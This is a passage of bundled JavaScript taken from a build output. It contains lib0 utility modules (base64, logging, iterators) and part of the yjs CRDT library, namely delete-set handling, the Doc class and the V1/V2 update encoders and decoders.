2040 s += fromCharCode(bytes[i]);
2041 }
2042 return btoa(s);
2043 };
2044 var toBase64Node = (bytes) => Buffer.from(bytes.buffer, bytes.byteOffset, bytes.byteLength).toString("base64");
2045 var fromBase64Browser = (s) => {
2046 const a = atob(s);
2047 const bytes = createUint8ArrayFromLen(a.length);
2048 for (let i = 0; i < a.length; i++) {
2049 bytes[i] = a.charCodeAt(i);
2050 }
2051 return bytes;
2052 };
2053 var fromBase64Node = (s) => {
2054 const buf = Buffer.from(s, "base64");
2055 return createUint8ArrayViewFromArrayBuffer(buf.buffer, buf.byteOffset, buf.byteLength);
2056 };
2057 var toBase64 = isBrowser ? toBase64Browser : toBase64Node;
2058 var fromBase64 = isBrowser ? fromBase64Browser : fromBase64Node;
2059 var copyUint8Array = (uint8Array) => {
2060 const newBuf = createUint8ArrayFromLen(uint8Array.byteLength);
2061 newBuf.set(uint8Array);
2062 return newBuf;
2063 };
2064
2065 // node_modules/lib0/pair.js
2066 var Pair = class {
2067 /**
2068 * @param {L} left
2069 * @param {R} right
2070 */
2071 constructor(left, right) {
2072 this.left = left;
2073 this.right = right;
2074 }
2075 };
2076 var create5 = (left, right) => new Pair(left, right);
2077
2078 // node_modules/lib0/dom.js
2079 var doc = (
2080 /** @type {Document} */
2081 typeof document !== "undefined" ? document : {}
2082 );
2083 var domParser = (
2084 /** @type {DOMParser} */
2085 typeof DOMParser !== "undefined" ? new DOMParser() : null
2086 );
2087 var mapToStyleString = (m) => map(m, (value, key) => `${key}:${value};`).join("");
2088 var ELEMENT_NODE = doc.ELEMENT_NODE;
2089 var TEXT_NODE = doc.TEXT_NODE;
2090 var CDATA_SECTION_NODE = doc.CDATA_SECTION_NODE;
2091 var COMMENT_NODE = doc.COMMENT_NODE;
2092 var DOCUMENT_NODE = doc.DOCUMENT_NODE;
2093 var DOCUMENT_TYPE_NODE = doc.DOCUMENT_TYPE_NODE;
2094 var DOCUMENT_FRAGMENT_NODE = doc.DOCUMENT_FRAGMENT_NODE;
2095
2096 // node_modules/lib0/symbol.js
2097 var create6 = Symbol;
2098
2099 // node_modules/lib0/logging.common.js
2100 var BOLD = create6();
2101 var UNBOLD = create6();
2102 var BLUE = create6();
2103 var GREY = create6();
2104 var GREEN = create6();
2105 var RED = create6();
2106 var PURPLE = create6();
2107 var ORANGE = create6();
2108 var UNCOLOR = create6();
2109 var computeNoColorLoggingArgs = (args2) => {
2110 if (args2.length === 1 && args2[0]?.constructor === Function) {
2111 args2 = /** @type {Array<string|Symbol|Object|number>} */
2112 /** @type {[function]} */
2113 args2[0]();
2114 }
2115 const strBuilder = [];
2116 const logArgs = [];
2117 let i = 0;
2118 for (; i < args2.length; i++) {
2119 const arg = args2[i];
2120 if (arg === void 0) {
2121 break;
2122 } else if (arg.constructor === String || arg.constructor === Number) {
2123 strBuilder.push(arg);
2124 } else if (arg.constructor === Object) {
2125 break;
2126 }
2127 }
2128 if (i > 0) {
2129 logArgs.push(strBuilder.join(""));
2130 }
2131 for (; i < args2.length; i++) {
2132 const arg = args2[i];
2133 if (!(arg instanceof Symbol)) {
2134 logArgs.push(arg);
2135 }
2136 }
2137 return logArgs;
2138 };
2139 var lastLoggingTime = getUnixTime();
2140
2141 // node_modules/lib0/logging.js
2142 var _browserStyleMap = {
2143 [BOLD]: create5("font-weight", "bold"),
2144 [UNBOLD]: create5("font-weight", "normal"),
2145 [BLUE]: create5("color", "blue"),
2146 [GREEN]: create5("color", "green"),
2147 [GREY]: create5("color", "grey"),
2148 [RED]: create5("color", "red"),
2149 [PURPLE]: create5("color", "purple"),
2150 [ORANGE]: create5("color", "orange"),
2151 // not well supported in chrome when debugging node with inspector - TODO: deprecate
2152 [UNCOLOR]: create5("color", "black")
2153 };
2154 var computeBrowserLoggingArgs = (args2) => {
2155 if (args2.length === 1 && args2[0]?.constructor === Function) {
2156 args2 = /** @type {Array<string|Symbol|Object|number>} */
2157 /** @type {[function]} */
2158 args2[0]();
2159 }
2160 const strBuilder = [];
2161 const styles = [];
2162 const currentStyle = create();
2163 let logArgs = [];
2164 let i = 0;
2165 for (; i < args2.length; i++) {
2166 const arg = args2[i];
2167 const style = _browserStyleMap[arg];
2168 if (style !== void 0) {
2169 currentStyle.set(style.left, style.right);
2170 } else {
2171 if (arg === void 0) {
2172 break;
2173 }
2174 if (arg.constructor === String || arg.constructor === Number) {
2175 const style2 = mapToStyleString(currentStyle);
2176 if (i > 0 || style2.length > 0) {
2177 strBuilder.push("%c" + arg);
2178 styles.push(style2);
2179 } else {
2180 strBuilder.push(arg);
2181 }
2182 } else {
2183 break;
2184 }
2185 }
2186 }
2187 if (i > 0) {
2188 logArgs = styles;
2189 logArgs.unshift(strBuilder.join(""));
2190 }
2191 for (; i < args2.length; i++) {
2192 const arg = args2[i];
2193 if (!(arg instanceof Symbol)) {
2194 logArgs.push(arg);
2195 }
2196 }
2197 return logArgs;
2198 };
2199 var computeLoggingArgs = supportsColor ? computeBrowserLoggingArgs : computeNoColorLoggingArgs;
2200 var print = (...args2) => {
2201 console.log(...computeLoggingArgs(args2));
2202 vconsoles.forEach((vc) => vc.print(args2));
2203 };
2204 var warn = (...args2) => {
2205 console.warn(...computeLoggingArgs(args2));
2206 args2.unshift(ORANGE);
2207 vconsoles.forEach((vc) => vc.print(args2));
2208 };
2209 var vconsoles = create2();
2210
2211 // node_modules/lib0/iterator.js
2212 var createIterator = (next) => ({
2213 /**
2214 * @return {IterableIterator<T>}
2215 */
2216 [Symbol.iterator]() {
2217 return this;
2218 },
2219 // @ts-ignore
2220 next
2221 });
2222 var iteratorFilter = (iterator, filter) => createIterator(() => {
2223 let res;
2224 do {
2225 res = iterator.next();
2226 } while (!res.done && !filter(res.value));
2227 return res;
2228 });
2229 var iteratorMap = (iterator, fmap) => createIterator(() => {
2230 const { done, value } = iterator.next();
2231 return { done, value: done ? void 0 : fmap(value) };
2232 });
2233
2234 // node_modules/yjs/dist/yjs.mjs
2235 var AbstractConnector = class extends ObservableV2 {
2236 /**
2237 * @param {Doc} ydoc
2238 * @param {any} awareness
2239 */
2240 constructor(ydoc, awareness) {
2241 super();
2242 this.doc = ydoc;
2243 this.awareness = awareness;
2244 }
2245 };
2246 var DeleteItem = class {
2247 /**
2248 * @param {number} clock
2249 * @param {number} len
2250 */
2251 constructor(clock, len) {
2252 this.clock = clock;
2253 this.len = len;
2254 }
2255 };
2256 var DeleteSet = class {
2257 constructor() {
2258 this.clients = /* @__PURE__ */ new Map();
2259 }
2260 };
2261 var iterateDeletedStructs = (transaction, ds, f) => ds.clients.forEach((deletes, clientid) => {
2262 const structs = (
2263 /** @type {Array<GC|Item>} */
2264 transaction.doc.store.clients.get(clientid)
2265 );
2266 if (structs != null) {
2267 const lastStruct = structs[structs.length - 1];
2268 const clockState = lastStruct.id.clock + lastStruct.length;
2269 for (let i = 0, del = deletes[i]; i < deletes.length && del.clock < clockState; del = deletes[++i]) {
2270 iterateStructs(transaction, structs, del.clock, del.len, f);
2271 }
2272 }
2273 });
2274 var findIndexDS = (dis, clock) => {
2275 let left = 0;
2276 let right = dis.length - 1;
2277 while (left <= right) {
2278 const midindex = floor((left + right) / 2);
2279 const mid = dis[midindex];
2280 const midclock = mid.clock;
2281 if (midclock <= clock) {
2282 if (clock < midclock + mid.len) {
2283 return midindex;
2284 }
2285 left = midindex + 1;
2286 } else {
2287 right = midindex - 1;
2288 }
2289 }
2290 return null;
2291 };
2292 var isDeleted = (ds, id2) => {
2293 const dis = ds.clients.get(id2.client);
2294 return dis !== void 0 && findIndexDS(dis, id2.clock) !== null;
2295 };
2296 var sortAndMergeDeleteSet = (ds) => {
2297 ds.clients.forEach((dels) => {
2298 dels.sort((a, b) => a.clock - b.clock);
2299 let i, j;
2300 for (i = 1, j = 1; i < dels.length; i++) {
2301 const left = dels[j - 1];
2302 const right = dels[i];
2303 if (left.clock + left.len >= right.clock) {
2304 left.len = max(left.len, right.clock + right.len - left.clock);
2305 } else {
2306 if (j < i) {
2307 dels[j] = right;
2308 }
2309 j++;
2310 }
2311 }
2312 dels.length = j;
2313 });
2314 };
2315 var mergeDeleteSets = (dss) => {
2316 const merged = new DeleteSet();
2317 for (let dssI = 0; dssI < dss.length; dssI++) {
2318 dss[dssI].clients.forEach((delsLeft, client) => {
2319 if (!merged.clients.has(client)) {
2320 const dels = delsLeft.slice();
2321 for (let i = dssI + 1; i < dss.length; i++) {
2322 appendTo(dels, dss[i].clients.get(client) || []);
2323 }
2324 merged.clients.set(client, dels);
2325 }
2326 });
2327 }
2328 sortAndMergeDeleteSet(merged);
2329 return merged;
2330 };
2331 var addToDeleteSet = (ds, client, clock, length3) => {
2332 setIfUndefined(ds.clients, client, () => (
2333 /** @type {Array<DeleteItem>} */
2334 []
2335 )).push(new DeleteItem(clock, length3));
2336 };
2337 var createDeleteSet = () => new DeleteSet();
2338 var createDeleteSetFromStructStore = (ss) => {
2339 const ds = createDeleteSet();
2340 ss.clients.forEach((structs, client) => {
2341 const dsitems = [];
2342 for (let i = 0; i < structs.length; i++) {
2343 const struct = structs[i];
2344 if (struct.deleted) {
2345 const clock = struct.id.clock;
2346 let len = struct.length;
2347 if (i + 1 < structs.length) {
2348 for (let next = structs[i + 1]; i + 1 < structs.length && next.deleted; next = structs[++i + 1]) {
2349 len += next.length;
2350 }
2351 }
2352 dsitems.push(new DeleteItem(clock, len));
2353 }
2354 }
2355 if (dsitems.length > 0) {
2356 ds.clients.set(client, dsitems);
2357 }
2358 });
2359 return ds;
2360 };
2361 var writeDeleteSet = (encoder, ds) => {
2362 writeVarUint(encoder.restEncoder, ds.clients.size);
2363 from(ds.clients.entries()).sort((a, b) => b[0] - a[0]).forEach(([client, dsitems]) => {
2364 encoder.resetDsCurVal();
2365 writeVarUint(encoder.restEncoder, client);
2366 const len = dsitems.length;
2367 writeVarUint(encoder.restEncoder, len);
2368 for (let i = 0; i < len; i++) {
2369 const item = dsitems[i];
2370 encoder.writeDsClock(item.clock);
2371 encoder.writeDsLen(item.len);
2372 }
2373 });
2374 };
2375 var readDeleteSet = (decoder) => {
2376 const ds = new DeleteSet();
2377 const numClients = readVarUint(decoder.restDecoder);
2378 for (let i = 0; i < numClients; i++) {
2379 decoder.resetDsCurVal();
2380 const client = readVarUint(decoder.restDecoder);
2381 const numberOfDeletes = readVarUint(decoder.restDecoder);
2382 if (numberOfDeletes > 0) {
2383 const dsField = setIfUndefined(ds.clients, client, () => (
2384 /** @type {Array<DeleteItem>} */
2385 []
2386 ));
2387 for (let i2 = 0; i2 < numberOfDeletes; i2++) {
2388 dsField.push(new DeleteItem(decoder.readDsClock(), decoder.readDsLen()));
2389 }
2390 }
2391 }
2392 return ds;
2393 };
2394 var readAndApplyDeleteSet = (decoder, transaction, store2) => {
2395 const unappliedDS = new DeleteSet();
2396 const numClients = readVarUint(decoder.restDecoder);
2397 for (let i = 0; i < numClients; i++) {
2398 decoder.resetDsCurVal();
2399 const client = readVarUint(decoder.restDecoder);
2400 const numberOfDeletes = readVarUint(decoder.restDecoder);
2401 const structs = store2.clients.get(client) || [];
2402 const state = getState(store2, client);
2403 for (let i2 = 0; i2 < numberOfDeletes; i2++) {
2404 const clock = decoder.readDsClock();
2405 const clockEnd = clock + decoder.readDsLen();
2406 if (clock < state) {
2407 if (state < clockEnd) {
2408 addToDeleteSet(unappliedDS, client, state, clockEnd - state);
2409 }
2410 let index = findIndexSS(structs, clock);
2411 let struct = structs[index];
2412 if (!struct.deleted && struct.id.clock < clock) {
2413 structs.splice(index + 1, 0, splitItem(transaction, struct, clock - struct.id.clock));
2414 index++;
2415 }
2416 while (index < structs.length) {
2417 struct = structs[index++];
2418 if (struct.id.clock < clockEnd) {
2419 if (!struct.deleted) {
2420 if (clockEnd < struct.id.clock + struct.length) {
2421 structs.splice(index, 0, splitItem(transaction, struct, clockEnd - struct.id.clock));
2422 }
2423 struct.delete(transaction);
2424 }
2425 } else {
2426 break;
2427 }
2428 }
2429 } else {
2430 addToDeleteSet(unappliedDS, client, clock, clockEnd - clock);
2431 }
2432 }
2433 }
2434 if (unappliedDS.clients.size > 0) {
2435 const ds = new UpdateEncoderV2();
2436 writeVarUint(ds.restEncoder, 0);
2437 writeDeleteSet(ds, unappliedDS);
2438 return ds.toUint8Array();
2439 }
2440 return null;
2441 };
2442 var equalDeleteSets = (ds1, ds2) => {
2443 if (ds1.clients.size !== ds2.clients.size) return false;
2444 for (const [client, deleteItems1] of ds1.clients.entries()) {
2445 const deleteItems2 = (
2446 /** @type {Array<import('../internals.js').DeleteItem>} */
2447 ds2.clients.get(client)
2448 );
2449 if (deleteItems2 === void 0 || deleteItems1.length !== deleteItems2.length) return false;
2450 for (let i = 0; i < deleteItems1.length; i++) {
2451 const di1 = deleteItems1[i];
2452 const di2 = deleteItems2[i];
2453 if (di1.clock !== di2.clock || di1.len !== di2.len) {
2454 return false;
2455 }
2456 }
2457 }
2458 return true;
2459 };
2460 var generateNewClientId = uint32;
2461 var Doc = class _Doc extends ObservableV2 {
2462 /**
2463 * @param {DocOpts} opts configuration
2464 */
2465 constructor({ guid = uuidv4(), collectionid = null, gc = true, gcFilter = () => true, meta = null, autoLoad = false, shouldLoad = true } = {}) {
2466 super();
2467 this.gc = gc;
2468 this.gcFilter = gcFilter;
2469 this.clientID = generateNewClientId();
2470 this.guid = guid;
2471 this.collectionid = collectionid;
2472 this.share = /* @__PURE__ */ new Map();
2473 this.store = new StructStore();
2474 this._transaction = null;
2475 this._transactionCleanups = [];
2476 this.subdocs = /* @__PURE__ */ new Set();
2477 this._item = null;
2478 this.shouldLoad = shouldLoad;
2479 this.autoLoad = autoLoad;
2480 this.meta = meta;
2481 this.isLoaded = false;
2482 this.isSynced = false;
2483 this.isDestroyed = false;
2484 this.whenLoaded = create4((resolve) => {
2485 this.on("load", () => {
2486 this.isLoaded = true;
2487 resolve(this);
2488 });
2489 });
2490 const provideSyncedPromise = () => create4((resolve) => {
2491 const eventHandler = (isSynced) => {
2492 if (isSynced === void 0 || isSynced === true) {
2493 this.off("sync", eventHandler);
2494 resolve();
2495 }
2496 };
2497 this.on("sync", eventHandler);
2498 });
2499 this.on("sync", (isSynced) => {
2500 if (isSynced === false && this.isSynced) {
2501 this.whenSynced = provideSyncedPromise();
2502 }
2503 this.isSynced = isSynced === void 0 || isSynced === true;
2504 if (this.isSynced && !this.isLoaded) {
2505 this.emit("load", [this]);
2506 }
2507 });
2508 this.whenSynced = provideSyncedPromise();
2509 }
2510 /**
2511 * Notify the parent document that you request to load data into this subdocument (if it is a subdocument).
2512 *
2513 * `load()` might be used in the future to request any provider to load the most current data.
2514 *
2515 * It is safe to call `load()` multiple times.
2516 */
2517 load() {
2518 const item = this._item;
2519 if (item !== null && !this.shouldLoad) {
2520 transact(
2521 /** @type {any} */
2522 item.parent.doc,
2523 (transaction) => {
2524 transaction.subdocsLoaded.add(this);
2525 },
2526 null,
2527 true
2528 );
2529 }
2530 this.shouldLoad = true;
2531 }
2532 getSubdocs() {
2533 return this.subdocs;
2534 }
2535 getSubdocGuids() {
2536 return new Set(from(this.subdocs).map((doc2) => doc2.guid));
2537 }
2538 /**
2539 * Changes that happen inside of a transaction are bundled. This means that
2540 * the observer fires _after_ the transaction is finished and that all changes
2541 * that happened inside of the transaction are sent as one message to the
2542 * other peers.
2543 *
2544 * @template T
2545 * @param {function(Transaction):T} f The function that should be executed as a transaction
2546 * @param {any} [origin] Origin of who started the transaction. Will be stored on transaction.origin
2547 * @return T
2548 *
2549 * @public
2550 */
2551 transact(f, origin2 = null) {
2552 return transact(this, f, origin2);
2553 }
2554 /**
2555 * Define a shared data type.
2556 *
2557 * Multiple calls of `ydoc.get(name, TypeConstructor)` yield the same result
2558 * and do not overwrite each other. I.e.
2559 * `ydoc.get(name, Y.Array) === ydoc.get(name, Y.Array)`
2560 *
2561 * After this method is called, the type is also available on `ydoc.share.get(name)`.
2562 *
2563 * *Best Practices:*
2564 * Define all types right after the Y.Doc instance is created and store them in a separate object.
2565 * Also use the typed methods `getText(name)`, `getArray(name)`, ..
2566 *
2567 * @template {typeof AbstractType<any>} Type
2568 * @example
2569 * const ydoc = new Y.Doc(..)
2570 * const appState = {
2571 * document: ydoc.getText('document')
2572 * comments: ydoc.getArray('comments')
2573 * }
2574 *
2575 * @param {string} name
2576 * @param {Type} TypeConstructor The constructor of the type definition. E.g. Y.Text, Y.Array, Y.Map, ...
2577 * @return {InstanceType<Type>} The created type. Constructed with TypeConstructor
2578 *
2579 * @public
2580 */
2581 get(name, TypeConstructor = (
2582 /** @type {any} */
2583 AbstractType
2584 )) {
2585 const type = setIfUndefined(this.share, name, () => {
2586 const t = new TypeConstructor();
2587 t._integrate(this, null);
2588 return t;
2589 });
2590 const Constr = type.constructor;
2591 if (TypeConstructor !== AbstractType && Constr !== TypeConstructor) {
2592 if (Constr === AbstractType) {
2593 const t = new TypeConstructor();
2594 t._map = type._map;
2595 type._map.forEach(
2596 /** @param {Item?} n */
2597 (n) => {
2598 for (; n !== null; n = n.left) {
2599 n.parent = t;
2600 }
2601 }
2602 );
2603 t._start = type._start;
2604 for (let n = t._start; n !== null; n = n.right) {
2605 n.parent = t;
2606 }
2607 t._length = type._length;
2608 this.share.set(name, t);
2609 t._integrate(this, null);
2610 return (
2611 /** @type {InstanceType<Type>} */
2612 t
2613 );
2614 } else {
2615 throw new Error(`Type with the name ${name} has already been defined with a different constructor`);
2616 }
2617 }
2618 return (
2619 /** @type {InstanceType<Type>} */
2620 type
2621 );
2622 }
2623 /**
2624 * @template T
2625 * @param {string} [name]
2626 * @return {YArray<T>}
2627 *
2628 * @public
2629 */
2630 getArray(name = "") {
2631 return (
2632 /** @type {YArray<T>} */
2633 this.get(name, YArray)
2634 );
2635 }
2636 /**
2637 * @param {string} [name]
2638 * @return {YText}
2639 *
2640 * @public
2641 */
2642 getText(name = "") {
2643 return this.get(name, YText);
2644 }
2645 /**
2646 * @template T
2647 * @param {string} [name]
2648 * @return {YMap<T>}
2649 *
2650 * @public
2651 */
2652 getMap(name = "") {
2653 return (
2654 /** @type {YMap<T>} */
2655 this.get(name, YMap)
2656 );
2657 }
2658 /**
2659 * @param {string} [name]
2660 * @return {YXmlElement}
2661 *
2662 * @public
2663 */
2664 getXmlElement(name = "") {
2665 return (
2666 /** @type {YXmlElement<{[key:string]:string}>} */
2667 this.get(name, YXmlElement)
2668 );
2669 }
2670 /**
2671 * @param {string} [name]
2672 * @return {YXmlFragment}
2673 *
2674 * @public
2675 */
2676 getXmlFragment(name = "") {
2677 return this.get(name, YXmlFragment);
2678 }
2679 /**
2680 * Converts the entire document into a js object, recursively traversing each yjs type
2681 * Doesn't log types that have not been defined (using ydoc.getType(..)).
2682 *
2683 * @deprecated Do not use this method and rather call toJSON directly on the shared types.
2684 *
2685 * @return {Object<string, any>}
2686 */
2687 toJSON() {
2688 const doc2 = {};
2689 this.share.forEach((value, key) => {
2690 doc2[key] = value.toJSON();
2691 });
2692 return doc2;
2693 }
2694 /**
2695 * Emit `destroy` event and unregister all event handlers.
2696 */
2697 destroy() {
2698 this.isDestroyed = true;
2699 from(this.subdocs).forEach((subdoc) => subdoc.destroy());
2700 const item = this._item;
2701 if (item !== null) {
2702 this._item = null;
2703 const content = (
2704 /** @type {ContentDoc} */
2705 item.content
2706 );
2707 content.doc = new _Doc({ guid: this.guid, ...content.opts, shouldLoad: false });
2708 content.doc._item = item;
2709 transact(
2710 /** @type {any} */
2711 item.parent.doc,
2712 (transaction) => {
2713 const doc2 = content.doc;
2714 if (!item.deleted) {
2715 transaction.subdocsAdded.add(doc2);
2716 }
2717 transaction.subdocsRemoved.add(this);
2718 },
2719 null,
2720 true
2721 );
2722 }
2723 this.emit("destroyed", [true]);
2724 this.emit("destroy", [this]);
2725 super.destroy();
2726 }
2727 };
2728 var DSDecoderV1 = class {
2729 /**
2730 * @param {decoding.Decoder} decoder
2731 */
2732 constructor(decoder) {
2733 this.restDecoder = decoder;
2734 }
2735 resetDsCurVal() {
2736 }
2737 /**
2738 * @return {number}
2739 */
2740 readDsClock() {
2741 return readVarUint(this.restDecoder);
2742 }
2743 /**
2744 * @return {number}
2745 */
2746 readDsLen() {
2747 return readVarUint(this.restDecoder);
2748 }
2749 };
2750 var UpdateDecoderV1 = class extends DSDecoderV1 {
2751 /**
2752 * @return {ID}
2753 */
2754 readLeftID() {
2755 return createID(readVarUint(this.restDecoder), readVarUint(this.restDecoder));
2756 }
2757 /**
2758 * @return {ID}
2759 */
2760 readRightID() {
2761 return createID(readVarUint(this.restDecoder), readVarUint(this.restDecoder));
2762 }
2763 /**
2764 * Read the next client id.
2765 * Use this in favor of readID whenever possible to reduce the number of objects created.
2766 */
2767 readClient() {
2768 return readVarUint(this.restDecoder);
2769 }
2770 /**
2771 * @return {number} info An unsigned 8-bit integer
2772 */
2773 readInfo() {
2774 return readUint8(this.restDecoder);
2775 }
2776 /**
2777 * @return {string}
2778 */
2779 readString() {
2780 return readVarString(this.restDecoder);
2781 }
2782 /**
2783 * @return {boolean} isKey
2784 */
2785 readParentInfo() {
2786 return readVarUint(this.restDecoder) === 1;
2787 }
2788 /**
2789 * @return {number} info An unsigned 8-bit integer
2790 */
2791 readTypeRef() {
2792 return readVarUint(this.restDecoder);
2793 }
2794 /**
2795 * Write len of a struct - well suited for Opt RLE encoder.
2796 *
2797 * @return {number} len
2798 */
2799 readLen() {
2800 return readVarUint(this.restDecoder);
2801 }
2802 /**
2803 * @return {any}
2804 */
2805 readAny() {
2806 return readAny(this.restDecoder);
2807 }
2808 /**
2809 * @return {Uint8Array}
2810 */
2811 readBuf() {
2812 return copyUint8Array(readVarUint8Array(this.restDecoder));
2813 }
2814 /**
2815 * Legacy implementation uses JSON parse. We use any-decoding in v2.
2816 *
2817 * @return {any}
2818 */
2819 readJSON() {
2820 return JSON.parse(readVarString(this.restDecoder));
2821 }
2822 /**
2823 * @return {string}
2824 */
2825 readKey() {
2826 return readVarString(this.restDecoder);
2827 }
2828 };
2829 var DSDecoderV2 = class {
2830 /**
2831 * @param {decoding.Decoder} decoder
2832 */
2833 constructor(decoder) {
2834 this.dsCurrVal = 0;
2835 this.restDecoder = decoder;
2836 }
2837 resetDsCurVal() {
2838 this.dsCurrVal = 0;
2839 }
2840 /**
2841 * @return {number}
2842 */
2843 readDsClock() {
2844 this.dsCurrVal += readVarUint(this.restDecoder);
2845 return this.dsCurrVal;
2846 }
2847 /**
2848 * @return {number}
2849 */
2850 readDsLen() {
2851 const diff = readVarUint(this.restDecoder) + 1;
2852 this.dsCurrVal += diff;
2853 return diff;
2854 }
2855 };
2856 var UpdateDecoderV2 = class extends DSDecoderV2 {
2857 /**
2858 * @param {decoding.Decoder} decoder
2859 */
2860 constructor(decoder) {
2861 super(decoder);
2862 this.keys = [];
2863 readVarUint(decoder);
2864 this.keyClockDecoder = new IntDiffOptRleDecoder(readVarUint8Array(decoder));
2865 this.clientDecoder = new UintOptRleDecoder(readVarUint8Array(decoder));
2866 this.leftClockDecoder = new IntDiffOptRleDecoder(readVarUint8Array(decoder));
2867 this.rightClockDecoder = new IntDiffOptRleDecoder(readVarUint8Array(decoder));
2868 this.infoDecoder = new RleDecoder(readVarUint8Array(decoder), readUint8);
2869 this.stringDecoder = new StringDecoder(readVarUint8Array(decoder));
2870 this.parentInfoDecoder = new RleDecoder(readVarUint8Array(decoder), readUint8);
2871 this.typeRefDecoder = new UintOptRleDecoder(readVarUint8Array(decoder));
2872 this.lenDecoder = new UintOptRleDecoder(readVarUint8Array(decoder));
2873 }
2874 /**
2875 * @return {ID}
2876 */
2877 readLeftID() {
2878 return new ID(this.clientDecoder.read(), this.leftClockDecoder.read());
2879 }
2880 /**
2881 * @return {ID}
2882 */
2883 readRightID() {
2884 return new ID(this.clientDecoder.read(), this.rightClockDecoder.read());
2885 }
2886 /**
2887 * Read the next client id.
2888 * Use this in favor of readID whenever possible to reduce the number of objects created.
2889 */
2890 readClient() {
2891 return this.clientDecoder.read();
2892 }
2893 /**
2894 * @return {number} info An unsigned 8-bit integer
2895 */
2896 readInfo() {
2897 return (
2898 /** @type {number} */
2899 this.infoDecoder.read()
2900 );
2901 }
2902 /**
2903 * @return {string}
2904 */
2905 readString() {
2906 return this.stringDecoder.read();
2907 }
2908 /**
2909 * @return {boolean}
2910 */
2911 readParentInfo() {
2912 return this.parentInfoDecoder.read() === 1;
2913 }
2914 /**
2915 * @return {number} An unsigned 8-bit integer
2916 */
2917 readTypeRef() {
2918 return this.typeRefDecoder.read();
2919 }
2920 /**
2921 * Write len of a struct - well suited for Opt RLE encoder.
2922 *
2923 * @return {number}
2924 */
2925 readLen() {
2926 return this.lenDecoder.read();
2927 }
2928 /**
2929 * @return {any}
2930 */
2931 readAny() {
2932 return readAny(this.restDecoder);
2933 }
2934 /**
2935 * @return {Uint8Array}
2936 */
2937 readBuf() {
2938 return readVarUint8Array(this.restDecoder);
2939 }
2940 /**
2941 * This is mainly here for legacy purposes.
2942 *
2943 * Initial we incoded objects using JSON. Now we use the much faster lib0/any-encoder. This method mainly exists for legacy purposes for the v1 encoder.
2944 *
2945 * @return {any}
2946 */
2947 readJSON() {
2948 return readAny(this.restDecoder);
2949 }
2950 /**
2951 * @return {string}
2952 */
2953 readKey() {
2954 const keyClock = this.keyClockDecoder.read();
2955 if (keyClock < this.keys.length) {
2956 return this.keys[keyClock];
2957 } else {
2958 const key = this.stringDecoder.read();
2959 this.keys.push(key);
2960 return key;
2961 }
2962 }
2963 };
2964 var DSEncoderV1 = class {
2965 constructor() {
2966 this.restEncoder = createEncoder();
2967 }
2968 toUint8Array() {
2969 return toUint8Array(this.restEncoder);
2970 }
2971 resetDsCurVal() {
2972 }
2973 /**
2974 * @param {number} clock
2975 */
2976 writeDsClock(clock) {
2977 writeVarUint(this.restEncoder, clock);
2978 }
2979 /**
2980 * @param {number} len
2981 */
2982 writeDsLen(len) {
2983 writeVarUint(this.restEncoder, len);
2984 }
2985 };
2986 var UpdateEncoderV1 = class extends DSEncoderV1 {
2987 /**
2988 * @param {ID} id
2989 */
2990 writeLeftID(id2) {
2991 writeVarUint(this.restEncoder, id2.client);
2992 writeVarUint(this.restEncoder, id2.clock);
2993 }
2994 /**
2995 * @param {ID} id
2996 */
2997 writeRightID(id2) {
2998 writeVarUint(this.restEncoder, id2.client);
2999 writeVarUint(this.restEncoder, id2.clock);
3000 }
3001 /**
3002 * Use writeClient and writeClock instead of writeID if possible.
3003 * @param {number} client
3004 */
3005 writeClient(client) {
3006 writeVarUint(this.restEncoder, client);
3007 }
3008 /**
3009 * @param {number} info An unsigned 8-bit integer
3010 */
3011 writeInfo(info) {
3012 writeUint8(this.restEncoder, info);
3013 }
3014 /**
3015 * @param {string} s
3016 */
3017 writeString(s) {
3018 writeVarString(this.restEncoder, s);
3019 }
3020 /**
3021 * @param {boolean} isYKey
3022 */
3023 writeParentInfo(isYKey) {
3024 writeVarUint(this.restEncoder, isYKey ? 1 : 0);
3025 }
3026 /**
3027 * @param {number} info An unsigned 8-bit integer
3028 */
3029 writeTypeRef(info) {
3030 writeVarUint(this.restEncoder, info);
3031 }
3032 /**
3033 * Write len of a struct - well suited for Opt RLE encoder.
3034 *
3035 * @param {number} len
3036 */
3037 writeLen(len) {
3038 writeVarUint(this.restEncoder, len);
3039 }
3040 /**
3041 * @param {any} any
3042 */
3043 writeAny(any2) {
3044 writeAny(this.restEncoder, any2);
3045 }
3046 /**
3047 * @param {Uint8Array} buf
3048 */
3049 writeBuf(buf) {
3050 writeVarUint8Array(this.restEncoder, buf);
3051 }
3052 /**
3053 * @param {any} embed
3054 */
3055 writeJSON(embed) {
3056 writeVarString(this.restEncoder, JSON.stringify(embed));
3057 }
3058 /**
3059 * @param {string} key
3060 */
3061 writeKey(key) {
3062 writeVarString(this.restEncoder, key);
3063 }
3064 };
3065 var DSEncoderV2 = class {
3066 constructor() {
3067 this.restEncoder = createEncoder();
3068 this.dsCurrVal = 0;
3069 }
3070 toUint8Array() {
3071 return toUint8Array(this.restEncoder);
3072 }
3073 resetDsCurVal() {
3074 this.dsCurrVal = 0;
3075 }
3076 /**
3077 * @param {number} clock
3078 */
3079 writeDsClock(clock) {
3080 const diff = clock - this.dsCurrVal;
3081 this.dsCurrVal = clock;
3082 writeVarUint(this.restEncoder, diff);
3083 }
3084 /**
3085 * @param {number} len
3086 */
3087 writeDsLen(len) {
3088 if (len === 0) {
3089 unexpectedCase();
3090 }
3091 writeVarUint(this.restEncoder, len - 1);
3092 this.dsCurrVal += len;
3093 }
3094 };
3095 var UpdateEncoderV2 = class extends DSEncoderV2 {
3096 constructor() {
3097 super();
3098 this.keyMap = /* @__PURE__ */ new Map();
3099 this.keyClock = 0;
3100 this.keyClockEncoder = new IntDiffOptRleEncoder();
3101 this.clientEncoder = new UintOptRleEncoder();
3102 this.leftClockEncoder = new IntDiffOptRleEncoder();
3103 this.rightClockEncoder = new IntDiffOptRleEncoder();
3104 this.infoEncoder = new RleEncoder(writeUint8);
3105 this.stringEncoder = new StringEncoder();
3106 this.parentInfoEncoder = new RleEncoder(writeUint8);
3107 this.typeRefEncoder = new UintOptRleEncoder();
3108 this.lenEncoder = new UintOptRleEncoder();
3109 }
3110 toUint8Array() {
3111 const encoder = createEncoder();
3112 writeVarUint(encoder, 0);
3113 writeVarUint8Array(encoder, this.keyClockEncoder.toUint8Array());
3114 writeVarUint8Array(encoder, this.clientEncoder.toUint8Array());
3115 writeVarUint8Array(encoder, this.leftClockEncoder.toUint8Array());
3116 writeVarUint8Array(encoder, this.rightClockEncoder.toUint8Array());
3117 writeVarUint8Array(encoder, toUint8Array(this.infoEncoder));
3118 writeVarUint8Array(encoder, this.stringEncoder.toUint8Array());
